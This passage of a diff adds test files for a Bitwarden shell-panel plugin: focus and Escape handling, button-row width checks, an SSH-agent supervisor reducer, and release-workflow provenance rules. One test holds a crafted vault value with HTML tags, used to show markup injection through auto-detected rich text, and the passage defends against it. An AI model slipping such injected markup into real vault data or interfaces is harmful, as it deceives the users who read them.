verify(!searchField.visible, "and it is hidden behind the form")
keyClick(Qt.Key_Escape)
compare(tc.panelCloses, 0, "a hidden search field must not close the panel: " + tc.trail)
compare(tc.screenName, "main", "Escape should cancel the edit instead")
}
// Re-homing focus on a screen change is what stops the stale owner
// accumulating in the first place.
function test_3_focus_follows_the_screen() {
tc.screenName = "main"
searchField.forceActiveFocus()
tc.screenName = "edit"
wait(0)
verify(formField.activeFocus, "the form field should take focus when the form opens")
verify(!searchField.activeFocus, "the hidden search field should not still hold it")
}
// Blocking exists so letters are typed rather than read as shortcuts;
// intercepting Escape must not cost that.
function test_4_typing_still_reaches_the_field() {
tc.screenName = "edit"
formField.text = ""
formField.forceActiveFocus()
keyClick(Qt.Key_J)
compare(formField.text, "j", "letters must still land in the field")
compare(tc.interceptorEscapes, 0, "no stray Escape")
}
// On unblocked screens both handlers are live; the interceptor accepting the
// event is what keeps the dispatch from running twice.
function test_5_escape_is_dispatched_once_when_unblocked() {
tc.screenName = "settings"
catcher.forceActiveFocus()
keyClick(Qt.Key_Escape)
compare(tc.interceptorEscapes, 1, "interceptor handles Escape")
compare(tc.catcherCloses, 0, "catcher must not fire once the interceptor accepted")
}
}
@@ -0,0 +1,56 @@
// A Text left on its default textFormat sniffs its own string and renders it
// as HTML the moment it looks like markup. That is a real hazard in a panel
// whose strings come out of a vault, and it is invisible in code review --
// nothing in the QML says "HTML". So it is pinned here against Qt itself
// rather than against our reading of the docs.
//
// Rendering is observed through contentWidth: markup that Qt parsed is markup
// Qt did not draw, so the parsed line is narrower than the literal one.
//
// QT_QPA_PLATFORM=offscreen qmltestrunner -input tests/qml
//
import QtQuick
import QtTest
import "../../BitwardenModel.js" as Model
TestCase {
id: tc
name: "RichText"
when: windowShown
// A vault value crafted to be read as markup. The tags are what an attacker
// controls; the visible text is what the user is entitled to see.
readonly property string vaultName: "<b>Work</b> &amp; Home"
// Default textFormat -- Text.AutoText -- exactly as the shared kit controls
// render the labels we hand them.
Text { id: sniffing; font.pixelSize: 14 }
// What the plugin's own Text elements now declare.
Text { id: literal; textFormat: Text.PlainText; font.pixelSize: 14 }
function test_auto_text_swallows_markup_in_a_vault_value() {
literal.text = tc.vaultName
sniffing.text = tc.vaultName
verify(sniffing.contentWidth > 0)
verify(sniffing.contentWidth < literal.contentWidth - 1)
}
function test_plain_text_draws_the_value_the_vault_holds() {
literal.text = tc.vaultName
compare(literal.textFormat, Text.PlainText)
verify(literal.contentWidth > 0)
}
function test_plainLabel_restores_the_literal_value_for_a_sniffing_control() {
literal.text = tc.vaultName
sniffing.text = Model.plainLabel(tc.vaultName)
// Same glyphs, so the same width: nothing was parsed away and no entity
// leaked through as "&amp;".
fuzzyCompare(sniffing.contentWidth, literal.contentWidth, 2.0)
}
function test_plainLabel_leaves_an_ordinary_name_alone() {
compare(Model.plainLabel("Work"), "Work")
}
}
@@ -0,0 +1,477 @@
// A row of buttons must fit the panel it is drawn in.
//
// QtQuick's Row is a positioner, not a layout: it cannot shrink a child and it
// cannot start a second line. Anything wider than the panel is simply laid out
// past the right edge, and the control that lands there is gone -- not clipped
// with a scrollbar, not wrapped, just off the panel with no way to reach it.
//
// That is how "Suggested here" cost the detail view its Delete button. The
// header holds four buttons only when the active window matched a login, and
// the pinned label is one character wider than the unpinned one -- so the row
// fit at 441px until the moment you clicked, and 454.5px after. Nothing in the
// panel said so; the button was just missing.
//
// So this measures. It reads the panel's own QML, finds every Row of buttons,
// rebuilds each label with the real font, and adds up what the kit will make
// of them. A Row that does not fit fails here instead of in a screenshot.
//
// Rows declared as Flow or RowLayout are reported but not failed: those two
// CAN wrap or shrink, which is the fix this test exists to push people toward.
//
// Needs the QML sources readable from QML, which Qt gates behind an env var:
//
// QML_XHR_ALLOW_FILE_READ=1 QT_QPA_PLATFORM=offscreen \
// /usr/lib/qt6/bin/qmltestrunner -input tests/qml
//
import QtQuick
import QtTest
TestCase {
id: tc
name: "RowWidths"
when: windowShown
width: 600; height: 200
visible: true
// ---------------------------------------------------------------- budgets
//
// Panel.qml draws into `fittedContentWidth(Style.space(450))`. Rows inside a
// Flickable lose `scrollGutter` (Style.space(10)) on top of that, and rather
// than track which rows are and are not inside one, every panel row is held
// to the narrower 440. The SSH prompt is its own card: Style.space(460) less
// panelPadding (18) and the card border (2) on each side.
//
// These are the sizes at the default [font] base-size of 12. A theme scales
// fonts and spacing by the same factor -- Style.space() multiplies by
// fontScale too -- so the ratio this test pins holds at any base size.
readonly property int panelBudget: 440
readonly property int popupBudget: 420
// ------------------------------------------------------- the kit's Button
//
// qs.Ui.Button cannot be instantiated here: it imports qs.Commons, which
// imports Quickshell, whose plugin only loads inside the quickshell runtime.
// So its geometry is restated, from Ui/Button.qml:
//
// implicitWidth: row.implicitWidth + horizontalPadding * 2
// + _reservedBorderLeft + _reservedBorderRight
//
// where the inner row is `icon + Style.spacing.controlGap + label`, the
// padding is Style.spacing.controlPaddingX, and the reserved border is the
// widest any state can paint (1px a side at the default border width).
// `verify_button_geometry_is_still_the_kits` below fails if that changes.
readonly property int controlGap: 8
readonly property int controlPaddingX: 10
readonly property int reservedBorder: 2
// Style.font tokens at base-size 12: caption .833, body-small .917, body 1.0,
// and `icon` defaults to `title` (1.167).
readonly property var fontPx: ({
"Style.font.caption": 10,
"Style.font.bodySmall": 11,
"Style.font.body": 12
})
readonly property int iconPx: 14
TextMetrics { id: labelMetrics; font.family: "monospace" }
TextMetrics { id: iconMetrics; font.family: "monospace"; font.pixelSize: tc.iconPx }
function labelWidth(text, px) {
labelMetrics.font.pixelSize = px
labelMetrics.text = text
return labelMetrics.advanceWidth
}
// One monospace cell at the icon size, NOT the glyph itself.
//
// These icons are Nerd Font private-use codepoints, which exist on a desktop
// running the shell and not on a CI runner -- and a missing glyph measures as
// the fallback's notdef box, so measuring them directly would quietly change
// every total the moment this runs somewhere without the font. In a patched
// monospace font a Nerd glyph occupies exactly one cell, so an ordinary
// character at the same pixel size is the same width and is everywhere.
// (Locally both measure 8.390625.)
function iconWidth(glyph) {
if (!glyph) return 0
iconMetrics.text = "M"
return iconMetrics.advanceWidth
}
function buttonWidth(button) {
var icon = iconWidth(button.icon)
var label = button.label === "" ? 0 : labelWidth(button.label, button.fontSize)
var gap = (icon > 0 && label > 0) ? tc.controlGap : 0
return icon + gap + label + button.paddingX * 2 + tc.reservedBorder
}
// ------------------------------------------------------------ reading QML
function readFile(relativePath) {
var xhr = new XMLHttpRequest()
xhr.open("GET", Qt.resolvedUrl("../../" + relativePath), false)
xhr.send()
return xhr.responseText || ""
}
// Every string literal in a binding, longest first. A label is often a
// conditional -- `root.sendMode === "create" ? "Back to Sends" : "Back"` --
// and the widest branch is the one that has to fit.
function widestLiteral(binding) {
var found = binding.match(/"((?:[^"\\]|\\.)*)"/g)
if (!found) return null
var widest = ""
for (var i = 0; i < found.length; i++) {
var value = found[i].slice(1, -1).replace(/\\"/g, "\"")
if (value.length > widest.length) widest = value
}
return widest
}
function propertyIn(body, name) {
var m = body.match(new RegExp("^\\s*" + name + ":\\s*(.*)$", "m"))
return m ? m[1].trim() : null
}
// Direct children only. A nested Row -- the per-item action buttons inside a
// list delegate, say -- is found and measured as a row in its own right, and
// must not also be counted as part of its parent.
function directChildren(body, type) {
var out = []
var open = new RegExp("(?:^|\\n)(\\s*)(?:" + type + ")\\s*\\{")
var rest = body
var depth = 0
var lines = body.split("\n")
var i
for (i = 0; i < lines.length; i++) {
var line = lines[i]
var isChild = depth === 1 && new RegExp("^\\s*(?:" + type + ")\\s*\\{").test(line)
if (isChild) {
var childDepth = 0
var collected = []
for (var j = i; j < lines.length; j++) {
collected.push(lines[j])
childDepth += (lines[j].match(/\{/g) || []).length
childDepth -= (lines[j].match(/\}/g) || []).length
if (childDepth === 0 && j > i) break
}
out.push(collected.join("\n"))
}
depth += (line.match(/\{/g) || []).length
depth -= (line.match(/\}/g) || []).length
}
return out
}
// Every Row / Flow / RowLayout in a file, with the buttons directly in it.
function rowsIn(source, file) {
var lines = source.split("\n")
var rows = []
for (var i = 0; i < lines.length; i++) {
var opener = lines[i].match(/^(\s*)(Row|Flow|RowLayout)\s*\{\s*$/)
if (!opener) continue
var depth = 0
var block = []
for (var j = i; j < lines.length; j++) {
block.push(lines[j])
depth += (lines[j].match(/\{/g) || []).length
depth -= (lines[j].match(/\}/g) || []).length
if (depth === 0 && j > i) break
}
var body = block.join("\n")
var buttons = []
var declarations = directChildren(body, "Button|VaultFilterButton")
for (var k = 0; k < declarations.length; k++) {
var declaration = declarations[k]
var textBinding = propertyIn(declaration, "text")
var label = textBinding === null ? null : widestLiteral(textBinding)
// A label with no literal in it is vault text or a computed string.
// Its width is not ours to know, so it is reported, never measured.
if (label === null) { buttons.push(null); continue }
var sizeBinding = propertyIn(declaration, "fontSize")
var iconBinding = propertyIn(declaration, "iconText")
var padBinding = propertyIn(declaration, "horizontalPadding")
buttons.push({
label: label,
icon: iconBinding === null ? "" : (widestLiteral(iconBinding) || ""),
fontSize: (sizeBinding && tc.fontPx[sizeBinding] !== undefined)
? tc.fontPx[sizeBinding] : tc.fontPx["Style.font.body"],
paddingX: padBinding === null ? tc.controlPaddingX : tc.controlPaddingX
})
}
var spacingBinding = propertyIn(body, "spacing")
var spacingMatch = spacingBinding ? spacingBinding.match(/Style\.space\((\d+)\)/) : null
rows.push({
file: file,
line: i + 1,
kind: opener[2],
spacing: spacingMatch ? parseInt(spacingMatch[1], 10) : 0,
buttons: buttons
})
i = j
}
return rows
}
function measure(row) {
var total = 0
for (var i = 0; i < row.buttons.length; i++) {
if (row.buttons[i] === null) return -1
total += buttonWidth(row.buttons[i])
}
return total + row.spacing * Math.max(0, row.buttons.length - 1)
}
// ------------------------------------------------------------------ tests
readonly property var sources: [
{ file: "Panel.qml", budget: panelBudget },
{ file: "SshAgentSettings.qml", budget: panelBudget },
{ file: "SshApprovalScreen.qml", budget: popupBudget },
{ file: "SshUnlockScreen.qml", budget: popupBudget }
]
// Every budget here is a pixel count, and pixel counts only mean anything
// while the font puts every character in the same width of cell. If this
// machine resolves `monospace` to something proportional, the numbers below
// are measuring a different panel than the one that ships -- say so rather
// than report a pass or a failure that was never about the layout.
function test_the_font_is_monospaced() {
var narrow = labelWidth("iiiiiiiiii", 11)
var wide = labelWidth("MMMMMMMMMM", 11)
verify(narrow > 0 && Math.abs(narrow - wide) < 0.01,
"`monospace` resolved to a proportional font here (i=" + narrow
+ ", M=" + wide + "), so these width budgets do not describe the panel")
}
function test_the_sources_are_readable() {
// Without QML_XHR_ALLOW_FILE_READ every parse silently finds nothing, and
// a test that measures nothing passes. Fail loudly instead.
for (var i = 0; i < sources.length; i++) {
var body = readFile(sources[i].file)
verify(body.length > 0,
sources[i].file + " read back empty -- set QML_XHR_ALLOW_FILE_READ=1")
}
}
function test_every_row_of_buttons_fits_its_panel() {
var offenders = []
var measured = 0
for (var i = 0; i < sources.length; i++) {
var rows = rowsIn(readFile(sources[i].file), sources[i].file)
for (var j = 0; j < rows.length; j++) {
var row = rows[j]
if (row.buttons.length < 2) continue
var total = measure(row)
if (total < 0) continue
measured++
// Flow wraps and RowLayout shrinks; neither can push a button off the
// panel, so neither is held to the single-line budget.
if (row.kind !== "Row") continue
if (total > sources[i].budget) {
offenders.push(row.file + ":" + row.line + " (" + row.buttons.length
+ " buttons) needs " + total.toFixed(1)
+ "px, panel gives " + sources[i].budget + "px")
}
}
}
verify(measured >= 12, "only measured " + measured + " rows -- the parser stopped seeing them")
// Every button is counted, including ones a `visible:` binding makes
// mutually exclusive -- the parser cannot evaluate those, and a row whose
// contents depend on runtime state is exactly the row that should wrap
// rather than be trusted to a hand-checked worst case. The remedy either
// way is one word: Flow.
verify(offenders.length === 0,
"these Rows lay a button out past the panel edge; make them a Flow, or "
+ "shorten the labels:\n " + offenders.join("\n "))
}
// The header that started this. Pinned and unpinned are measured separately
// because only the pinned label overflowed, which is why it survived review.
function test_the_detail_header_fits_with_the_suggestion_button_showing() {
var header = { spacing: 8, buttons: [
{ label: "Back (Esc)", icon: "\u{f040d}", fontSize: 11, paddingX: 10 },
{ label: "Suggested here", icon: "\u{f043e}", fontSize: 11, paddingX: 10 },
{ label: "Edit", icon: "\u{f03eb}", fontSize: 11, paddingX: 10 },
{ label: "Delete", icon: "\u{f01b4}", fontSize: 11, paddingX: 10 }
] }
var pinned = measure(header)
header.buttons[1].label = "Suggest here"
header.buttons[1].icon = "\u{f043d}"
var unpinned = measure(header)
verify(pinned <= panelBudget,
"pinned header needs " + pinned.toFixed(1) + "px of " + panelBudget)
verify(unpinned <= panelBudget,
"unpinned header needs " + unpinned.toFixed(1) + "px of " + panelBudget)
}
// The filter row names each filter as well as showing its value, because
// three chips reading "All" say nothing about which is which. That costs
// width, and the row is allowed to wrap to pay for it -- so what has to hold
// is not that every combination fits one line, but these two things.
function filterChip(name, value, glyph) {
// Model.clipLabel(value, 20), restated.
var clipped = value.length <= 20 ? value : value.slice(0, 17) + "..."
return { label: name + ": " + clipped, icon: glyph, fontSize: 10, paddingX: 10 }
}
// One: the state the panel actually opens in stays on a single line. If this
// fails the row wraps by default, which is a worse row than a shorter label.
function test_the_unfiltered_filter_row_is_one_line() {
var row = { spacing: 6, buttons: [
filterChip("Folders", "All", "\u{f024b}"),
filterChip("Organizations", "All", "\u{f0991}"),
filterChip("Types", "All", "\u{f003b}")
] }
var total = measure(row)
verify(total <= panelBudget,
"the default filter row needs " + total.toFixed(1) + "px of " + panelBudget
+ " -- it would open already wrapped")
}
// Two: no single chip can be wider than the panel, whatever is in the vault.
// A Flow can move a button to the next line but never make one narrower, so
// this is the one thing wrapping cannot rescue -- it is what the clip is for.
function test_no_filter_chip_can_outgrow_the_panel_on_its_own() {
var monstrous = "Acme Corporation Holdings International Limited"
var names = [["Folders", "\u{f024b}"], ["Organizations", "\u{f0991}"], ["Types", "\u{f003b}"]]
for (var i = 0; i < names.length; i++) {
var chip = filterChip(names[i][0], monstrous, names[i][1])
var width = buttonWidth(chip)
verify(width <= panelBudget,
names[i][0] + " chip reaches " + width.toFixed(1) + "px of " + panelBudget
+ " with a long vault name -- the clip is not holding")
}
}
// --------------------------------------------------- the wrapping is real
//
// Everything above is arithmetic. This part instantiates the two containers
// the fix relies on and checks they behave, because both do something a Row
// does not: the header wraps, and the filter row shrink-wraps so it can stay
// centred while it fits and take the whole panel when it cannot.
//
// The chips stand in for qs.Ui.Button -- which will not load here -- using
// the same implicitWidth this file already restates.
Component {
id: chip
Item {
// Named, because inside a Component `parent` is the Flow it is created
// in, not this Item -- reaching the label through `parent` silently
// measures an empty string and nothing ever wraps.
id: chipRoot
property string label: ""
property int px: 11
implicitWidth: chipMetrics.advanceWidth + tc.controlGap + tc.iconWidth("\u{f01b4}")
+ tc.controlPaddingX * 2 + tc.reservedBorder
width: implicitWidth
height: 26
TextMetrics {
id: chipMetrics
font.family: "monospace"
font.pixelSize: chipRoot.px
text: chipRoot.label
}
}
}
Item {
id: headerHost
width: tc.panelBudget
height: 100
Flow {
id: headerFlow
width: parent.width
spacing: 8
}
}
Item {
id: filterHost
width: tc.panelBudget
height: 100
Flow {
id: filterFlow
anchors.horizontalCenter: parent.horizontalCenter
spacing: 6
// The binding under test, copied from Panel.qml: it reads the chips'
// implicitWidth and never their width, so it cannot feed itself.
readonly property real naturalWidth: {
var total = 0
for (var i = 0; i < children.length; i++) total += children[i].implicitWidth
return total + spacing * Math.max(0, children.length - 1)
}
width: Math.min(parent.width, naturalWidth)
}
}
function fill(flow, labels, px) {
for (var i = flow.children.length - 1; i >= 0; i--) flow.children[i].destroy()
wait(20) // destroy() is deferred; the children are still there until it runs
for (var j = 0; j < labels.length; j++) {
chip.createObject(flow, { label: labels[j], px: px })
}
wait(20)
compare(flow.children.length, labels.length, "the stub chips did not all get created")
for (var k = 0; k < flow.children.length; k++) {
verify(flow.children[k].implicitWidth > 0,
"a stub chip measured as zero-width -- it is not measuring its label")
}
}
function overhang(flow, host) {
var worst = 0
for (var i = 0; i < flow.children.length; i++) {
var child = flow.children[i]
var edge = child.mapToItem(host, child.width, 0).x
if (edge - host.width > worst) worst = edge - host.width
}
return worst
}
function test_the_header_wraps_instead_of_pushing_a_button_off_the_panel() {
fill(headerFlow, ["Back (Esc)", "Suggested here", "Edit", "Delete"], 11)
var oneLine = headerFlow.height
compare(overhang(headerFlow, headerHost), 0, "a button hangs past the panel at full width")
// The narrow panel a small screen actually produces.
headerHost.width = 300
wait(20)
compare(overhang(headerFlow, headerHost), 0, "a button hangs past a 300px panel")
verify(headerFlow.height > oneLine, "the header should have taken a second line")
headerHost.width = tc.panelBudget
wait(20)
compare(headerFlow.height, oneLine, "and should return to one line")
}
function test_the_filter_row_stays_centred_while_it_fits_and_wraps_when_it_does_not() {
fill(filterFlow, ["Unfiled", "Personal", "Favorites"], 10)
verify(filterFlow.width < filterHost.width,
"the row should shrink-wrap so it can be centred, got " + filterFlow.width)
var left = filterFlow.x
var right = filterHost.width - (filterFlow.x + filterFlow.width)
verify(Math.abs(left - right) < 1.5, "not centred: left " + left + ", right " + right)
filterHost.width = 200
wait(20)
compare(filterFlow.width, 200, "the row should take the whole panel once it must wrap")
compare(overhang(filterFlow, filterHost), 0, "a filter chip hangs past the panel")
filterHost.width = tc.panelBudget
wait(20)
verify(filterFlow.width < tc.panelBudget, "the row should shrink-wrap and re-centre")
}
// The restated geometry above is only right while the kit's is unchanged.
function test_button_geometry_is_still_the_kits() {
var xhr = new XMLHttpRequest()
xhr.open("GET", "file:///usr/share/omarchy/shell/Ui/Button.qml", false)
xhr.send()
var source = xhr.responseText || ""
if (source.length === 0) return // kit not installed here; nothing to check
verify(source.indexOf(
"implicitWidth: row.implicitWidth + horizontalPadding * 2 "
+ "+ _reservedBorderLeft + _reservedBorderRight") >= 0,
"Ui/Button.qml no longer sizes itself the way this test assumes")
verify(/spacing:\s*Style\.spacing\.controlGap/.test(source),
"Ui/Button.qml no longer gaps its icon and label by controlGap")
}
}
@@ -0,0 +1,183 @@
import QtQuick
import QtTest
import "../../BitwardenModel.js" as Model
// The supervision logic runs inside QML's own JavaScript engine, not Node's.
// These cases re-prove the properties the panel depends on -- the inert
// default, the one transition that opens the signing gate, and the bounded
// failure paths -- against that engine, and check that the reducer never asks
// the caller to wait for anything.
TestCase {
name: "SshAgent"
readonly property string readyLine: JSON.stringify({
v: 1, type: "ready", socketPath: "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock",
fifoPath: "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo", agentVersion: "0.1.0"
})
function drive(state, events) {
var actions = []
for (var i = 0; i < events.length; i++) {
var step = Model.sshAgentReduce(state, events[i])
state = step.state
actions.push(step.action)
}
return { state: state, actions: actions, last: actions[actions.length - 1] }
}
function ready() {
return drive(Model.sshAgentInitialState(), [
{ kind: "enabled", value: true, nowMs: 0 },
{ kind: "started", nowMs: 1 },
{ kind: "line", line: readyLine, nowMs: 2 }
])
}
function test_disabled_supervisor_starts_nothing() {
var run = drive(Model.sshAgentInitialState(), [
{ kind: "started", nowMs: 0 },
{ kind: "line", line: readyLine, nowMs: 1 },
{ kind: "restartTimer", nowMs: 2 }
])
compare(run.state.phase, "disabled")
compare(run.state.gateOpen, false)
for (var i = 0; i < run.actions.length; i++) {
verify(!run.actions[i].start)
verify(!run.actions[i].writeHello)
}
}
function test_handshake_opens_the_signing_gate() {
var run = ready()
compare(run.state.phase, "ready")
compare(run.state.gateOpen, true)
compare(run.state.socketPath, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock")
compare(run.state.agentVersion, "0.1.0")
}
function test_reductions_never_ask_qml_to_wait() {
var run = ready()
for (var i = 0; i < run.actions.length; i++) {
verify(run.actions[i].wait === undefined)
verify(run.actions[i].waitMs === undefined)
verify(typeof run.actions[i].restartInMs === "number")
}
}
function test_helper_is_launched_by_absolute_plugin_path() {
var dir = Model.pluginDirFromUrl("file:///home/u/.config/omarchy/plugins/bw/")
compare(dir, "/home/u/.config/omarchy/plugins/bw")
// The source comes from the bundle inspection; the command follows it
// rather than guessing which binary to run.
var cmd = Model.sshAgentHelperCommand(dir, "bundled")
compare(cmd.length, 1)
compare(cmd[0].charAt(0), "/")
verify(cmd[0].indexOf("/home/u/.config/omarchy/plugins/bw/") === 0)
compare(Model.sshAgentHelperCommand(Model.pluginDirFromUrl("file:///opt/bw/../etc/"), "bundled").length, 0)
compare(Model.sshAgentHelperCommand(dir, "").length, 0)
}
function test_helper_environment_is_minimal() {
var env = Model.sshAgentHelperEnv("/run/user/1000")
var keys = []
for (var k in env) keys.push(k)
compare(keys.length, 1)
compare(keys[0], "XDG_RUNTIME_DIR")
compare(Model.sshAgentHelperEnv("relative/dir"), null)
}
function test_bad_output_closes_the_gate() {
var cases = [
{ line: "not json", code: "MALFORMED" },
{ line: '{"v":2,"type":"locked","epoch":1}', code: "VERSION_MISMATCH" },
{ line: '{"v":1,"type":"exec"}', code: "UNKNOWN_TYPE" },
{ line: readyLine, code: "PROTOCOL" }
]
for (var i = 0; i < cases.length; i++) {
var run = drive(ready().state, [{ kind: "line", line: cases[i].line, nowMs: 100 }])
compare(run.state.errorCode, cases[i].code)
compare(run.state.gateOpen, false)
compare(run.last.stop, true)
}
}
function test_overlong_output_is_rejected_by_bytes() {
var filler = new Array(Model.sshAgentMaxLineBytes()).join("é")
var run = drive(ready().state, [{
kind: "line", nowMs: 100,
line: '{"v":1,"type":"error","code":"X","message":"' + filler + '"}'
}])
compare(run.state.errorCode, "LINE_TOO_LONG")
compare(run.state.gateOpen, false)
}
function test_blank_output_is_ignored() {
var run = drive(ready().state, [{ kind: "line", line: "", nowMs: 100 }])
compare(run.state.phase, "ready")
compare(run.state.gateOpen, true)
}
function test_stalled_handshake_is_bounded() {
var run = drive(Model.sshAgentInitialState(), [
{ kind: "enabled", value: true, nowMs: 0 },
{ kind: "started", nowMs: 1 },
{ kind: "handshakeTimeout", nowMs: Model.sshAgentHandshakeTimeoutMs() }
])
compare(run.state.errorCode, "HANDSHAKE_TIMEOUT")
compare(run.state.gateOpen, false)
compare(run.last.stop, true)
}
function test_eof_closes_the_gate_and_backs_off() {
var run = drive(ready().state, [{ kind: "exited", exitCode: 0, nowMs: 100 }])
compare(run.state.gateOpen, false)
compare(run.state.phase, "backoff")
compare(run.last.restartInMs, Model.sshAgentRestartDelayMs(1))
}
function test_crash_loop_stops_restarting() {
var state = Model.sshAgentReduce(Model.sshAgentInitialState(),
{ kind: "enabled", value: true, nowMs: 0 }).state
var scheduled = 0
var clock = 0
for (var i = 0; i < Model.sshAgentMaxRestarts() + 2; i++) {
clock += 10
state = Model.sshAgentReduce(state, { kind: "started", nowMs: clock }).state
clock += 10
var step = Model.sshAgentReduce(state, { kind: "exited", exitCode: 101, nowMs: clock })
state = step.state
if (step.action.restartInMs >= 0) scheduled++
if (state.phase !== "backoff") break
clock += 10
state = Model.sshAgentReduce(state, { kind: "restartTimer", nowMs: clock }).state
}
compare(state.phase, "failed")
compare(state.errorCode, "CRASH_LOOP")
compare(state.gateOpen, false)
compare(scheduled, Model.sshAgentMaxRestarts())
}
function test_backoff_is_capped() {
verify(Model.sshAgentRestartDelayMs(1) < Model.sshAgentRestartDelayMs(2))
compare(Model.sshAgentRestartDelayMs(99), Model.sshAgentRestartDelayMs(100))
}
function test_disabling_stops_everything() {
var run = drive(ready().state, [{ kind: "enabled", value: false, nowMs: 100 }])
compare(run.state.phase, "disabled")
compare(run.state.gateOpen, false)
compare(run.last.stop, true)
compare(run.last.cancelRestart, true)
}
function test_reenabling_clears_a_crash_loop() {
var failed = Model.sshAgentInitialState()
failed.phase = "failed"
failed.errorCode = "CRASH_LOOP"
failed.failures = Model.sshAgentMaxRestarts() + 1
var run = drive(failed, [{ kind: "enabled", value: true, nowMs: 0 }])
compare(run.state.phase, "starting")
compare(run.state.errorCode, "")
compare(run.last.start, true)
}
}
@@ -0,0 +1,26 @@
import QtQuick
import QtTest
import "../../BitwardenModel.js" as Model
TestCase {
name: "SshItems"
function test_sanitized_items_are_filterable_and_public() {
var items = Model.parseSanitizedItems(JSON.stringify({
items: [{ id: "login", type: 1, name: "Login", login: { username: "u" } }],
sshKeys: [{ id: "ssh", type: 5, name: "Deploy", favorite: true,
sshKey: { publicKey: "ssh-ed25519 AAAA", fingerprint: "SHA256:fp" } }]
}))
compare(items.length, 2)
compare(Model.filterItems(items, "AAAA", "all", "all", "all").length, 1)
compare(Model.filterItems(items, "", "sshKey", "all", "all")[0].id, "ssh")
verify(Model.itemDetailFromObject(items[1].rawObject).password === "")
}
function test_ssh_generic_actions_fail_closed() {
compare(Model.buildCreatePayload(5, "Deploy"), null)
compare(Model.getItemCommand("ssh", 5).length, 0)
compare(Model.editItemCommand("ssh", 5).length, 0)
compare(Model.deleteItemCommand("ssh", 5).length, 0)
}
}
@@ -0,0 +1,195 @@
#!/usr/bin/env node
// A release is where this repository's committed binary stops being an
// internal claim and becomes something other people install. These tests guard
// the parts of that path which fail quietly: an elevated permission that leaks
// out of the one job meant to hold it, an action pinned to a moving tag, a
// publication that never re-checked the bytes it publishes, or a release whose
// version agrees with nothing.
//
// They do not run a release. What can be checked here is that the definition
// grants the least it can, verifies before it publishes, and says out loud
// what its artifacts are and are not.
//
// node tests/release-provenance.test.js
const fs = require("fs")
const path = require("path")
const repoRoot = path.join(__dirname, "..")
const read = p => fs.readFileSync(path.join(repoRoot, p), "utf8")
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const release = read(".github/workflows/release.yml")
const build = read(".github/workflows/agent-build.yml")
const owners = read(".github/CODEOWNERS")
// Split the file into its jobs, so a question like "which job can write" has
// a per-job answer rather than a whole-file one. Grepping the whole workflow
// for `id-token: write` would pass just as happily if every job had it.
const jobsBody = release.slice(release.indexOf("\njobs:"))
const jobs = new Map(
[...jobsBody.matchAll(/^ {2}([a-z][a-z0-9-]*):\n([\s\S]*?)(?=^ {2}[a-z][a-z0-9-]*:\n|$(?![\s\S]))/gm)]
.map(([, name, body]) => [name, body]))
check("the workflow defines the three stages it describes",
["gates", "verify", "release"].every(j => jobs.has(j)),
`jobs found: ${[...jobs.keys()].join(", ")}`)
// -------------------------------------------------------------------------
// What triggers it, and what cannot
// -------------------------------------------------------------------------
check("a release is a tag, not a branch push",
/on:\n(?:.*\n)*?\s*push:\n\s*tags:\n\s*- 'v\*'/.test(release) && !/^\s*branches:/m.test(release),
"the release workflow runs on something other than a version tag")
check("a dispatch run can rehearse the whole path",
/workflow_dispatch:/.test(release),
"verification cannot be run without creating a tag")
check("only a tag reaches the publishing job",
/if: github\.ref_type == 'tag'/.test(jobs.get("release") || ""),
"a dispatch run could publish a release or sign an attestation")
check("a release in flight is never cancelled",
/concurrency:[\s\S]{0,200}?cancel-in-progress: false/.test(release),
"a second tag could cancel a half-published release")
// -------------------------------------------------------------------------
// Least privilege, and where it stops
// -------------------------------------------------------------------------
const topLevel = release.slice(0, release.indexOf("\njobs:"))
check("the workflow is read-only by default",
/^permissions:\n\s*contents: read\s*$/m.test(topLevel),
"the default token carries more than read")
const elevated = ["contents: write", "id-token: write", "attestations: write"]
for (const grant of elevated) {
const holders = [...jobs].filter(([, body]) => body.includes(grant)).map(([name]) => name)
check(`only the release job holds ${grant}`,
holders.length === 1 && holders[0] === "release",
`held by: ${holders.join(", ") || "nobody"}`)
}
check("the gates and verify jobs state their read-only scope rather than inheriting it",
/permissions:\n\s*contents: read/.test(jobs.get("gates") || "")
&& /permissions:\n\s*contents: read/.test(jobs.get("verify") || ""),
"a later change to the default would silently widen these jobs")
check("the elevated job runs behind an environment",
/environment:\n\s*name: release/.test(jobs.get("release") || ""),
"elevated credentials come into existence with no approval step")
check("no secret is referenced",
!/secrets\./.test(release),
"a release should need nothing beyond the job's own token")
// A tag is a moving pointer, and this is the workflow that mints signing
// credentials. Same argument as pinning the build image by digest, applied to
// the code that runs the release.
const actionUses = [...release.matchAll(/uses:\s*([^\s@]+)@(\S+)/g)]
.filter(([, name]) => !name.startsWith("./"))
check("every third-party action is pinned to a full commit SHA",
actionUses.length > 0 && actionUses.every(([, , ref]) => /^[0-9a-f]{40}$/.test(ref)),
actionUses.filter(([, , ref]) => !/^[0-9a-f]{40}$/.test(ref)).map(m => m[0]).join(", ") || "no actions used")
check("each pin says which release it is, for a human",
(release.match(/@[0-9a-f]{40} # v\d/g) || []).length === actionUses.length,
"a bare SHA tells a reviewer nothing about what version it is")
// -------------------------------------------------------------------------
// The gates are the branch's gates
// -------------------------------------------------------------------------
check("the release calls the branch's gates instead of copying them",
/uses: \.\/\.github\/workflows\/agent-build\.yml/.test(jobs.get("gates") || ""),
"the release re-implements the checks, so the two can drift apart")
check("the branch workflow is callable",
/^\s*workflow_call:/m.test(build),
"release.yml calls a workflow that does not accept being called")
// The gates run as part of the release, so they share the called workflow's
// concurrency group. Scoped by ref alone, a branch build and a release could
// cancel each other -- which is exactly what release.yml's own
// `cancel-in-progress: false` exists to prevent.
check("a branch build and a release cannot cancel each other",
/group: agent-build-\$\{\{ github\.workflow \}\}/.test(build)
&& /cancel-in-progress: \$\{\{ github\.workflow != 'release' \}\}/.test(build),
"the called workflow's concurrency group does not distinguish its callers")
check("nothing publishes before those gates pass",
/needs: gates/.test(jobs.get("verify") || "") && /needs: verify/.test(jobs.get("release") || ""),
"the publishing job does not depend on verification")
// -------------------------------------------------------------------------
// What the release verifies about itself
// -------------------------------------------------------------------------
const verify = jobs.get("verify") || ""
check("the tag, the manifest and the changelog must agree",
/manifest\.json says/.test(verify) && /CHANGELOG\.md has no/.test(verify),
"a tag could name a version nothing else in the repository claims")
check("the committed checksum is re-checked against the committed bytes",
